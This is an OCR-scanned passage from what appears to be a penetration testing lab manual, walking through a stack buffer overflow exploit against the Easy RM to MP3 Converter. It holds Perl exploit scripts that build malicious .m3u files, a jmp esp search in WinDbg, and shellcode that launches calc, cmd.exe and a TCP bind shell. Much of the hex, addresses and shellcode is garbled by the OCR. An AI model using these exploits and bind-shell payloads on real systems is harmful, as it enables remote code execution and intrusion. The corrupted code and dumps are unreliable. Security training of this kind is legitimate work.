BBOFf760 44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47 DEFGHIJKGABCDEFG
@eBff770 48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4z 4b HIIK7ABCDEFGHIJK
0eoff780 38 41 42 43 44 45 46 47-48 49 4a 4b 3% 41 42 43 8ABCDEFGHIJIK9ABC
P0OFf780 44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47 DEFGHIJKAABCDEFG
QORFf7a8 48 49 4z 4b 42 41 42 43-44 45 46 47 48 49 4a 4b  HIJKBABCDEFGHIZK
@:ee0> d

QOOTF7b0 43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41 CABCDEFGHIJK.AAA
800TT7¢8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
@eeff7de 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ogeff7ed 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAANAAA
802FF7Te 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
@oeffges 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
@0aff81e 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
20off820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Ok, we can see two interesting things here :
« ESP starts at the 5th character of our pattern, and not the first character. After the pattern string, we see

“A’s”. These A’s most likely belong to the first part of the buffer (26101 A’s), so we may also be able
to put our shellcode in the first part of the buffer (before overwriting RET)...
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But let’s not go that way yet. We’ll first add 4 characters in front of the pattern and do the test again. If all goes
well, ESP should now point directly at the beginning of our pattern :

my $file= "testl.m3u™;

my $junk= "A" x 260894,

my $eip = "BBBB";

my $preshellcode = "XXXX";

my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIIK4ABCDEFGHIJIK™
"CABCDEFGHIJKBABCDEFGHIZK™ .
"7ABCDEFGHIJKSABCDEFGHIIK" .
"9ABCDEFGHIIKAABCDEFGHIJIK™ .
"BABCDEFGHIIKCABCDEFGHIJK™;
open($FILE,“>$File");

print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE);

print "m3u File Created successfully\n";

Let the application crash and look at esp again:

2:200> d esp

8eaff738 31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43  1ABCDEFGHIJKZABC
SBBTI740 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47 DEFGHIZK3ABUDEFG
208758 48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b  HIJKAABCDEFGHIJIK
POBFF768 35 41 42 43 44 45 46 47-48 42 4a 4b 36 41 42 43 SABCDEFGHIJKSABC
A00FF776 44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47 DEFGHIIK7ABCDEFG
000Ff788 48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b HIJKBABCDEFGHIJIK
POOFF799 39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43  SABCDEFGHIZKAABC
000Ff7a0 44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47 DEFGHIJKBABCDEFG
0:06> d

0eBfF7b8 48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b  HIJKCABCDEFGHIIK
08eff7co 06 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 . AAAAAAAAAAAAAAL
eeRff7do 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
peBff7ed 41 41 41 41 41 41 41 41-41 41 41 41 431 41 41 41 AAAAAAAAAAAAAAAA
peeff7f9 41 41 41 41 41 41 41 41-41 41 41 41 41 41 43 41 AAAAAAAAAAAAAAARA
peeffaee 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAMAAAAAAAAAA
2eaffs16 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
POBTFE20 41 41 41 41 41 41 41 41-41 41 41 43 41 41 41 41  AAAALAAAAAAAAAAA

Much better !
We now have
+ Control over EIP
« An area where we can write our code (at least 144 bytes farge. If you do some more tests with longer

patterns, you will see that you have even more space... plenty of space in fact)
« A register that directly points at our code, at address 0x000{£730

Now we need to:

« Build real shellcode

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual



« Tell EIP to jump to the address of the start of the shellcode. We can do this by overwriting EIP with
0x000££730.

We’ll build a small test case: first 26094 A’s, then overwrite EIP with 000£f7 30, then put 25 NOP’s, then a
break, and then more NOP’s,

If all goes well, EIP should jump 000ff730, which contains NOPs. The code should slide until the break.

my $file= “"testl.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0ox0001f730);

my $shellcode = "\x98" x 25;

$shellcode
$shellcode

$shellcode. "\xcc";
$shellcode. "\x98" x 25;

1

open($FILE, " ">$file");

print $FILE $junk.$eip.$shellcode;
close($FILE);

print "m3u File Created successfully\n";

The application died, but we expected a break instead of an access violation.

When we look at EIP, it points to 000{£730, and so does ESP.

When we dump ESP, we don’t see what we had expected:

€ax=00000001 ebx=00104a58 ecx=7c91005d edx=00000L40 esi=77c¢5fce@ edi=ROLO662¢

eip=000ff73@ esp=00OFff730 ebp=0634406c6 iopl=0 nv up el pl nz na pe nc
cs=001b ss5=00823 ds=0023 es=0023 {s=083b gs=0000 efl=00000206

s Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.d11>+0xff71f:

. : ©Beff730 0080 add byte ptr [eax],al ds:08023:00000001=7?
©:000> d esp '
"~ 00Off730 00 0O 00 00 66 00 00 00-58 4a 10 00 01 60 Q2 B0 ........ ) IR
. 00eff740 30 f7 of 00 00 00 00 90-41 41 41 41 41 41 41 41 ©....... AAAAAAAA

000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
- 00OTf760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0eeftf770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0eff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
. PROTF796 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
. 880Tf7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

So jumping directly to a memory address may not be a good solution after all. (000730 contains a null byte,
which is a string terminator, the A’s you are seeing are coming from the first part of the buffer, we never
reached the point where we started writing our data after overwrite E{P.
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Using a memory address to jump to in an exploit would make the exploit very unreliable. After all, this memory
address could be different in other OS versions, languages, efc.

Long story short: we cannot just overwrite EIP with a direct memory address such as 000{730. It’s not a good
idea because it would not be reliable, and it’s not a good idea because it contains a null byte. We have to use
another technique to achieve the same goal: make the application jump to our own provided code. Ideally, we
should be able to reference a register (or an offset to a register), ESP in our case, and find a function that will
jump to that register. Then we will try to overwrite ETP with the address of that function and it should be

successiul.

Jump to the shellcode in a reliable way

We have managed to put our shellcode exactly where ESP points at (or if you look at it from a different angle,
ESP points directly at the beginning of our shellcode). If that would not have been the case, we would have
looked to the contents of other register addresses and hope to find our buffel back. Anyways, in this particular

example, we can use ESP.

The reasoning behind overwriting EIP with the address of ESP was that we want the application to jump to ESP
and run the shellcode. Jumping to ESP is a very common thing in windows applications. In fact, Windows
applications use one or more dlls, and these dlls contains lots of code instructions. Furthermore, the addresses
used by these dlis are pretty static. So if we could find a dll that contains the instruction to jump to esp, and if
we could overwrite EIP with the address of that instruction in that dil, then it should work, right ?

Let’s see. First of all, we need to figure out what the opcode for “jmp esp” is. We can do this by Launching
Easy RM to MP3, then opening windbg and hook windbg to the Easy RM to MP3 application. (Just connect it
to the process, don’t do anything in Easy RM to MP3). This gives us the advantage that windbg will see all
dlis/modules that are loaded by the application.

18tk ru:umiu-r [T
JOE wesmhorn pas
ZEL TEELTD B
# 3 wpoaap wne
i wig wam
FEDY awnpEl by dee
1Y awpinrar sds
NEEY FRARIES HEE
EF ol ony
¥ Tuledily men
46§ A Lived? wan

kY

HOTIY el HeE
LR0A Earl SuE
L3407 cml mam

iR wuw-u‘l o

Upon attaching the debugger to the process, the application will break.
In the windbg command line, at the bottom of the screen, enter a (assemble) and press return
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Now enter jmp esp and press return:

MR I T IS 7 U™ T g VI A0 Pt ek e AT e ) R ey T e v o
(aed £d4) Break instzuctiom excepticon ~ code S0006003 (firat chance)

cux+ TE{dbO00 ebx=0000000) ecx~IBG30007 edx~00GOR00TY esi~0000CH04 ~di-NGRDA0DS

eipe?ediZ0a espr02ei{fog ebprQdeliff(y opl-0 ne up @i pl or na pe ne

cse00ll  seeG023 duw002] es5-9623 E(x~0036 gs-00Q0 2£ 100000246

«me ERBOR- Syxbol fils conld ot ba feand Iefaulted to sxport syabols for CoUIRDOUS-cystawdduntdll d1l -
ntdlliDbgBraakPaint

TGl e oo wnk k]

$:014> &

790120 Irp esp

P esp

Press return again.
Now enter u (unassemble) followed by the address that was shown before entering jmp esp

©:914> u 7¢98128e
ntdil!DbgBreakPoint:

7¢90120e ffed Jmp esp

7¢901210 8bff mov edi,edi
ntdll!DbgUserBreakPoint:

7¢981212 cc int 3

7c501213 c3 ret

7c901214 8bff mov edi,edi

7c¢901216 8b442494 mov eax,dword ptr [esp+4]
7¢90121a cc int 3

7¢90121b c20400 ret 4

Next to 7¢90120e, you can see ffe4. This is the opcode for jmp esp

* Now we need to find this opcode in one of the loaded dlls.

Look at the top of the windbg window, and look for lines that indicate dlls that belong to the Easy RM to MP3

application:

Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright {c) Microsoft Corporation. All rights reserved,

**% wait with pending attach

Symbol search path is: *#¥ Invalid *#%#
EEEEEEREEEEREEEEEEEEEEEEELESEEL SRS EEEEEEEFFEEFIELEEEEEEEIEFEEEEEEETEEEE TS TS
* Symbol loading may be unreliable without a symbol search path. #
* Use ,symfix to have the debugger choose a symbol path.

* After setting your symbol path, use .reload to refresh symbol locations. ¥
LS E LS LRSS ELEESEEELEEESFEESELL S EEE TS EEESEEETEEE ST TS ET IS T

*k

Executable search path is:

ModLoad: ©0400000 004bede®  C:\Program Files\Easy RM to MP3
Converter\RM2MP3Converter.exe

ModlLoad: 7c¢900000 7c¢Sb200@  C:\WINDOWS\system32\ntdll.dll
ModLoad: 7¢800000 7c¢8f6000  C:\WINDOWS\system32\kernel32.dlil
ModLoad: 780500060 78120000  C:\WINDOWS\system32\WININET.d1l
ModlLoad: 77c¢10000 77c68008  C:\WINDOWS\system32\msvcrt.dll
ModlLoad: 77160000 77fd6000 C:\WINDOWS\system32\SHLWAPT.d11
ModLoad: 77ddeeoe 77e6b000  C:\WINDOWS\system32\ADVAPI32.d1l
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Modioad:
Modbload:
ModLoad:
ModlLoad:
ModlLoad:
ModlLoad:
Modload:
ModlLoad:
ModLoad:
Modload:
ModLoad:
Modload:
ModLoad:
ModlLoad:
Modioad:

77e76000
77febpoe
77110808
72410006
00330008
78000000
77c60000
73ddeese
763b000G0O
5d9900ee
7¢9cee00
76680000
76b42000
763906000
773deeee

7702000
77+f1000
77590008
7e431008
06339000
78045000
77c08000
73ecepog
763fo000
5d12a000
7did7e66
760e56800
76b6d608
763adeee
77443660

OO0 OON OO0 OO0 00N

T \WINDOWS\system32\RPCRT4.d11
\WINDOWS\system32\Secur32.dil
\WINDOWS\system32\GDI32.d11
\WINDOWS\system32\USER32.d11
\WINDOWS\system32\Normaliz.dll
I\WINDOWS\system32\iertutil.dll
: \WINDOWS\system32\VERSION.d11
: \WINDOWS \system32\MFC42.DLI.

: \WINDOWS\system32\comdlg32.dll
\WINDOWS\system32\COMCTL32.dl1
T \WINDOWS\system32\SHELL32,.d11
\WINDOWS\system32\MSVCP6e.d11
I \WINDOWS\system32\WINMM, d11
\WINDOWS\system32\IMM32.DLL

: \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-

Controls_6595b64144ccfldf _6.0.2600.5512_ x-ww_35d4ce83\comctl132.d11

Modl.oad:
Modl.oad:
ModLoad;
ModLoad:
Modload:
ModLoad:
Modl.oad:
Modl.oad:
Modl.cad:
Modioad:
Modl.oad:
Modlioad:

74720000
755cee00
77420800
19000000
71ab0ooe
71220960
00ce0glda
91390009
00cBOBEO
91b10060
01fec0000
77126000

74760060
755ee000
7761d000

ieg71i060

71lac7000
71aa8000
oad7feeo
21bB106o
Q0c87600
elfddeoo
g1ffieea
771aboed

aNeNsEsEasEsNaN N e eNS!

A\WINDOWS\system32\MSCTF.d11

: \WINDOWS\system32\msctfime. ime
\WINDOWS\system32\ole32.dll
:\Program Files\Easy RM to MP3 Converter\MSRMfiltere3.dll
:\WINDOWS\system32\WS2_32.d11
: \WINDOWS\system32\WS2HELP.d11

:\Program Files\Easy RM to
:\Program Files\Easy RM to
\Program Files\Easy RM to
:\Program Files\Easy RM to
\WINDOWS\system32\MSVCIRT
\WINDOWS\system32\OLEAUT32.d11

MP3 Converter\MSRMfilterel.dll
MP3 Converter\MSRMCcodec®.dll
MP3 Converter\MSRMCcodecBl.dll
MP3 Converter\MSRMCcodecd2.dll
.dll

If we can find the opcode in one of these dils, then we have a good chance of making the exploit work reliably
across windows platforms. If we need to use a dll that belongs to the OS, then we might find that the exploit
does not work for other versions of the OS. So let’s secarch the area of one of the Easy RM to MP3 dlls first.

We’ll ook in the area of C:\Program Files\Easy RM to MP3 Convertet\MSRMCcodec02.dll. This dll is loaded
between 01b10000 and 01fd000. Search this area for ffe4 :

0:014> s 91bl1o0ed 1 elfddeee ff e4

9lccf23a
91dea23f
91d1d3db
21d3b22a
91d3b72d
91d3cd89
91d45c9e
©1d5083d9
©1d51400
a1ds5736d
©1d5ce34
@1de6e1s9
01d62ecod
©221135b

ff
fb
ca
07
09
03
5¢
17
o]
17
cc
17
cc
49

£f
f
£f
£
£f
£f
£f
£
£
£f
£
f
f
£f

ed
ed
ed
ed
e4
ed
e4
el
ed
a4
ed
ed
ed
ed

8d
4d
ce
e7
7d
35
2e
b7
38
b7
38
b7
38
20

de
ib
91
f2
ed
f2
95
el
25
e3
25
e3
25
02

18
a6
29
21
ad
82
bb
77
di
77
di
77
di
ed

c7
9¢
85
57
37
of
i6
31
71
31
71
31
71
49

44-24 1@ ff ff +f ff e8 3 .. DE......,
Tf-ff 54 a2 ea 1a d9 Sc Ff oML Tevsnns
93-19 09 €0 00 802 00 d4 dl  ..... cieiiianan
£2-5d 1c d3 e8 89 22 d5 d@  ...... W.J]...."
df-e7 cf 25 23 ¢9 a0 4a 26 Yo.7.. %8 J&
di-ec 4a e4 19 38 7 b7 bf ...5..0..3..0..
16-79 e7 8e 15 8 f6 7 fb ..\..... Yeerouon
bc-b4 e7 68 89 bb 99 54 9d ..... wl...h...T.
44-b4 a3 16 75 85 b9 do 58 ...8%.gD...u...P
bc-b4 e7 68 89 bb 99 54 6d ..... wl...h...T.
44-b4 a3 16 75 85 b9 do 56 ...8%.gD...u...P
bc-b4d 7 68 89 bb 99 54 9d ..... wl...h...T.
44-b4 a3 16 75 85 b9 de 58 ...8%.gD...u...P
20-02 00 09 00 00 ff ff FF .. WE ..WE ........
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©9258ea53 ff e4 ec 58 02 00 00 00-00 00 00 20 €0 €8 02 a8 ... Xu'iuvrrrronns
Excellent. Jmp esp is a pretty common instruction). When selecting an address, it is important to look for null
bytes. You should try to avoid using addresses with null bytes (especially if you need to use the buffer data that

comes after the EIP overwrite. The null byte would become a string terminator and the rest of the buffer data
will become unusable).

Another good area to search for opcodes is

s 70000000 1 ffffff ff ed” (which would typically give results from windows dlls)‘

Note : there are other ways to get opcode addresses :
+ Findjmp (from Ryan Permeh) : compile findjmp.c and run with the following parameter
« The metasploit opcode database
» memdump (see one of the next labs)

+ pvefindaddr, a plugin for Immunity Debugger. In fact, this one is highly recommended because it will
automatically filter unreliable pointers.

Since we want to put our shellcode in ESP (which is placed in our payload string after overwriting EIP), the
jmp esp address from the list must not have null bytes. If this address would have null bytes, we would
overwrite EIP with an address that contains null bytes. Null byte acts as a string terminator, so everything that
follows would be ignored. In some cases, it would be ok to have an address that starts with a null byte. If the
address starts with a null byte, because of little endian, the null byte would be the last byte in the EIP register.
And if you are not sending any payload after overwrite EIP (so if the shellcode is fed before overwriting EIP,
and 1t 1s still reachable via a register), then this will work.

We will use the payload after overwriting EIP to host our shellcode, so the address should not contain null
bytes.

The first address will do : 0x01ccf23a
Verify that this address contains the jmp esp (so unassemble the instruction at 01ccf23a):

9:014> u 9lccf23a
MSRMCcodec@2! CAudioOutiWindows : :WaveOutWndProc+8x8bfea:

91ccf23a ffed imp esp

©lccf23c ff8d4eldc744 dec dword ptr <Unloaded_POOL.DRV>+0x44c7104d (44c7104e)[ebp]
8lccf242 2410 and al,16h

Qlccf244 f ?P?

Qlccf245 ff ?P?

@lcct246 ff 22?

@lccf247 £f ey

@lccf248 e8fifeedff call MSRMCcodec@2ICTN_WriteHead+0xd320 (81b1f14@)
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If we now overwrite EIP with 0x01ccf23a, a jmp esp will be executed. Esp contains our shellcode... so we
should now have a working exploit. Let’s test with our “NOP & break” shellcode.

Close windbg.
Create a new m3u file using the script below :

my $file= "testl.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',8x01lccf23a);

my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xcc"; #this will cause the application to break, simulating
shellcode, but allowing you to further debug
$shellcode = $shellcode."\x90" x 25;

open($FILE, ">$Ffile");
print $FILE $junk.$eip.$shellcode;

close($FILE);

print "m3u File Created successfully\n";

(21c.e54): Break instruction exception - code 80000003 (!!! second chance [!!)
eax=00000001 ebx=00104a58 ecx=7c91805d edx=00000040 esi=77c5fced edi=0000662c
eip=000ff745 esp=000ff73@ ebp=003440co iopl=0 nv up ei pl nz na pe nc
cs=001b s5=0023 ds=0023 es=0023 fs=003b gs=0008 etl=00000206

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

<Unloaded _P32.d11>+@xft734:

008ff745 cc Sint 3

©:060> d esp

BREFF736 90 9@ 90 50 90 590 50 90-50 98 909 96 90 90 90 98 ... e eieeen
PeRTF740 9€ 90 98 90 90 cc 99 50-90 00 90 90 99 90 98 9B ... iiiiiraonn
g00ff758 90 90 99 98 90 90 99 90-98 90 50 96 99 90 9 PG ......... ...
PeOfF768 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
peeff776 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAANAAA
Qoeff7806 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
PeRff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
gepff7ad 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Run the application again, attach windbg, press "g" to continue to run, and open the new m3u file in the
application. The application now breaks at address 000ff745, which is the location of our first break. So the jmp
esp worked fine (esp started at 000ff730, but it contains NOPs all the way up to 000{t744). All we need to do
now is put in our real shellcode and finalize the exploit.

Close windbg again.
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Get shellcode and finalize the exploit

Metasploit has a nice payload generator that will help you building shellcode. Payloads come with various
options, and (depending on what they need to do), can be small or very large. If you have a size limitation in
terms of buffer space, then you might even want to look at multi-staged shellcode, or using specifically
handcrafted shellcodes such as this one (32byte cmd.exe shellcode for xp sp2 en):

Z/*

00402000 > 8BEC MOV EBP.ESP

00402002 . 68 65786520  PUSH 20657865

00402007 .68 636D642E  PUSH 2E646D63

0040200C . 8D45 F8 LEA EAX,.DWORD PTR SS:[EBP-8]
- 0040200F . 50 PUSH EAX

00402010 . B8 8D15867C MOV EAX kemel32. WinExec
00402015 . FFDO CALL EAX

*/

#inciude <stdio.h>

... unsigned char shellcode[] =

"x8bixec\x 6865k 78k 65"
"% 20\x68'x63\x6d'\x64'\x2e"
"x8d\x45 X B\ S0Wxb& 8D
"x 1586\ 7Cx ff\xd0";

int main ()

{

int *ret;

ret=(int *)&ret+2;

printf("Shellcode Length is : %d\n" strlen(shellcode));
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(*ret)=(int)shellcode;
return 0;

}

Alternatively, you can split up your shellcode in smaller ‘eggs’ and use a technique called ‘egg-hunting’ to
reassemble the shellcode before executing it. We will cover egg hunting in a later lab.

Let’s say we want calc to be executed as our exploit payload, then the shellcode could look like this :

# windows/exec - 144 bytes

# http:

# Encoder: x86/shikata_ga_nai

# EXITFUNC=seh, CMD=calc

ry $shellcode = "\xdb\XcBA\x31\xXcO\XbFAX7C\x16\X7@ \XCCAXAINKT4\ k24 \xF4\xb1" .
"\x1e\x58\x 31\ 78\ x18\x83 \xeB\xFc\x83\x78\x68 \xF4\x85\x30™
"\x78\xbe\x85\xeI\xTB\XbB A\ X2\ X F5\xF3\xbd\xae\x7d\xB2\xaa"
"\X3a\X32\X1c\xbFAx62\xed \x1d\x54 \xd5\ 66\ x29\x21\ xe 7\ x96"
"AXBOAXTFS\X7 I\ XCa\XBB\ X3S\ XTE X4\ X7\ X7 \xFb\ Xx1b\ x85\x6b"
"\xfBAX27\xdd\x48\xFd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
"VCFAXACAXAFAX23\Xd3\ K53\ xa4 \ X 57 \xF7\xd8\x3b\x83\x8e\xB3"
WOLFAXETANS 3AXBANX5 1\ xa1 \ x33 \ xed \xF5\xco \ nF5\Xel\x7e\x38"
"WxFS\xaa\xXFL\xe5\xa8\x26\ x99\ x3d \x3b\xcB\xd9\xFe\x51\x61"
"\ xbEAXBe\X2F\ X85\ K19\ XB7 \ b7\ X7B\ X2\ 53\ x990 \x7b\xd 7 \x85"
"\x7F\xe8\x7b\xca";

Finalize the perl script, and try it out :

#
#
my $file= "exploitrmtomp3.m3u”;

my $junk= "A" x 26094;
my $eip = pack('V',0x@Llccf23a); #jmp esp from MSRMCcodec82.dll

my $shellcode = "\x96" x 25;

# windows/exec - 144 bytes

# http: /oo obonpins s

# Encoder: x86/shikata_ga nai

# EXITFUNC=seh, CMD=calc¢

$shellcode = $shellcode . "\xdb\xcO\X31\XCO\XBF\x7c\xI6\Xx70\Xxcc\xdNx74\x24\xF4\xb1" .
"\ x1e\x58\x31\x78\x18\x83 \xe8\XxTc\x83\x78\x68\xf4\x85\x36"
"\X78\xbcAXxE5AXCO\XT7R\xbE\x23\ x5 \xF3\xb4\xae\x7d\xB2\xaa"
"\x3a\x32\x1c\xbF\x62\xed \x1d\x54 \xd5\x66 \x29\x21\xe7\x96"
AXEO\XFEA\X7I\XCa\XO6 \ X35 \XF5\x14 \xc7\x7c\xFb\x1b\x85\x6b"
"\ FO\x2 7 \xdd\ x48\xFd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
"\xcF\x4c\x4F\x23\xd3\x53\xad \x57 \xf7\xd8\x3b\ x83\x8e\x83"
"\xLFAXE7A\X53\x64\ x5 1 \xa1\x33 \xcd \xFBE\xch\xF5\xc1\x7e\x98"
"N FEAxaa\xT1I\x05\ xa8\x26 \ x99\ x3d\ x3b\ xcO\ xdHN\ xfe\x51\x61"
"\ xbB\xBe\X2F\XB85\ X1\ X87 \xb7 \X7B\ X2\ x59\x9e\x7b\xd7 \x@5"
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"\X7F\xe8\x7b\xca";

open($FILE, ">$file");

print $FILE $junk.$eip.$shellcode;
close($FILE);

print “m3u File Created successfully\n";

First, tun off the autopopup registry setting to prevent the debugger from taking over. Create the m3u file, open
it and watch the application die (and cale should be opened as well).

Boom ! We have our first working exploit !

Fany 0M to MY Cinvrrter

Easy It Lo HIY Convorton has ancoumtesnd + problom
A Bt be chagg. We aee tonip Tt iha inconversanen.

You may have noticed that we kept 25 nops (0x90) before the shellcode. Don’t worry about it too much right
now. As you will continue to learn about exploiting (and when you reach the chapter about writing shellcode),
you will learn why this may be required.

What if vou want to do something eise than launching cale ?

You could create other shellcode and replace the “launch calc” shellcode with your new shellcode, but this code
may not run well because the shellcode may be bigger, memory locations may be different, and longer
shellcode increases the risk on invalid characters in the shellcode, which need to be filtered out.

Let’s say we want the exploit bind to a port so a remote hacker could connect and get a command line.

This shellcode may look like this ;

# windows/shell bind_tcp - 344 bytes

# http:

# Encoder: x86/shikata_ga nai

# EXITFUNC=seh, LPORT=5555, RHOST=
"AXZIAXCOAXbTAXd3\ X\ x5\ x46\ xdb\ xcO\ xdO\ X 74\ x 24\ X F4\ x5d"
"A\xbI\x58\x83 \xed\xFfc\x3 1\ x7d \x8d\x03\x7d\xde\x22\xa9\ xba"
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"\ x8a\ x40\ x 1\ xab\xb3\}x71\x5F\xd4\x23\x85\xcc\xBF\x87\x92" .
"AxAB\XBCAXAC\XdAB\XE7 \ x T4\ X53 \xce\xd3\ x4b\x4b\x9b\xbb\x73" .
"\x6a\X70\x0a\ xFFA\ X583\ xBd\xBc\x11\x91 \xd1\x16\x41\x55\x11" .
"\x5cAX9d\x94\x58\ x990\ xa@ \xd4 \xbe\ x5\ x99\ x8c\x6c\x88\xab" .
"AXCO\Xe6\XI7\ X7 7\ X1\ x12\ x4\ xf3 \x1e\ xaF\x05\x5¢c\x02\x2e" .
"AxFIAXx60\x16\xbb\XxBc\x@b\x42 \xa7 \xef\x18\xbb\x8c\x8b\x1d" .
"AXFEAXB2\ XA F\X62 \xF2\x69\xaf\x7e\xa7\ xe5\x10\x77 \xed\x91" .
"AX1eAXcOA\XIb\XBe A\ x4\ x29\ x5\ x28 \x23\ xb3\x9 1 \x87 \xF1\x53" .
AX1B\XOb\Xc7\XFc\x8Bc\xad\ xF8\x6b\xe7\ xb6\xB5\x58\xa7\xb7" .
"\ x20\xT8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" .
"\xdF\xed@\x3c\x5a\x22\x45\xcO\x72\x6F\x39 \x6d\x28\xdc\xfe" .
"AXC2A\KBA\XbINXFAAX3E\X77\X5d\x 15\ x@5 \xle\xce\x9c\x88\xda"” .
"AX98\x3a\ x50\ xO5\x9F\x14\x9a \x 33\ x75\x8b\ X35\ xe9\x76\x7h" .
"\xdd\xb5\x25\x52\xT7\xel\xca\x7d\x54\x5b\xcb\x52\x33\x86" .
"\x7a\xd5\x8d\ X1 F\x83\xBF\x5d\xF4\x2F\xe5\xal\x24\x5c\x6d" .
"\xbo\xbc\xad\x17\x12\xcO\xfe\xbd\x63\ xee\x98 \x57\xF8\x69" .
"\XOcA\XchA\X6d\XFF\Xx29\x61\x3e\xa6\x98\xba\x37\xbf\xbo\xe6" .
"A\xc1\xa2\x75\x47\x22\ X888\ x8b\xB5\xeB8\x33\x31\xab\x61\x46" .
"\ xeF\x8e\x2e\xF2\ X84\ xB87 \ %42\ xTb\x69\x41\x5¢c\X76\xc9\x91" .
"AXT7A\X22\X BB\ X3 F\x28\ x84\ x79\ xaa\xch\x77\x 28\ x7F\ x8d\ x88" .
"\ x1a\x17\xbB\xae\x9F\x26\x99\xaf\x49\xdc\xel\xaf\x42\xde" .
"\ xce\xdb\xfb\xdc\x6c \x1F\x67\xe2\xaS\xF2\x98\xcc\x22\x83" .
"\xec\xe9\xed\xbO\x0F\x27\xee\xe7";

As you can see, this shellcode is 344 bytes long (and launching calc only took 144 bytes).

» If you use this shellcode, you may see that the vulnerable application does not even crash anymore.

This — most likely — indicates either a problem with the shellcode buffer size (but you can test the buffer size,
you’ll notice that this is not the issue), or we are faced with invalid characters in the shellcode. You can exclude
invalid characters when building the shellcode with metasploit, but you’ll have to know which characters are
allowed and which aren’t. By default, null bytes are restricted (because they will break the exploit for sure), but
what are the other characters ?

The m3u file probably should contain filenames. So a good start would be to filter out all characters that are not
allowed in filenames and filepaths. You could also restrict the character set altogether by using another decoder.
We have used shikata ga nai, but perhaps alpha_upper will work better for filenames. Using another encoded
will most likely increase the shellcode length, but we have already seen (or we can simulate) that size is not a

big issue.

Let’s try building a tcp shell bind, using the alpha_upper encoder. We’ll bind a shell to local port 4444, The
new shellcode 1s 703 bytes.
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# windows/shell_bind_tcp - 703 bytes

# http:

# Encoder: x86/alpha_upper

# EXITFUNC=seh, LPORT=4444, RHOST=
"\x89\xel\xdb\xd4\xd9\x7 L\ XxF4\X58\ X560\ x59\x49\ x49\ x49\x49" .
"\x43\x43\x43\x43\x43\x43\X51\X5a\X56 \X54\x 58\ x33\x30\x56"
MAXE8\X34\x41\x50\x30\x41\ X33\ x48\x48\x30\x41\x38\x30\x41" .
"NXA2\XAT\XAI\x42\X54\x 41\ x42\X51\x32\x41\x42\x32\x42\x42" .
"Ax30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4F\x4b\x4F\x4b" .
"\XAFAXA3AX50\ x4 C\X4b \ x4 2\ X4 \X51\x34\x51\x34\xdc\x4b\x47"
"\X35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\xda" |
"AxAFAXACAXAbAX50\X4F\X42\ X 38\ x4 \x4b\Xx51 \x4F\x51\x30\x43" .
"\x31\x4a\x4b\x58\x49\ x4 \x4b\ x46 \x54\ x4c\x4b\x43\x31\x43"
"\x4e\x46\x51\x49\ x50 \x4a\x39\x4e\x4c \x4d \Xx54\x49\x56\x44"
"AX34\x45\X57\x49\X51\ x4\ x5a\x44 \x4d\x43\x31\x49\x52\x4a" .
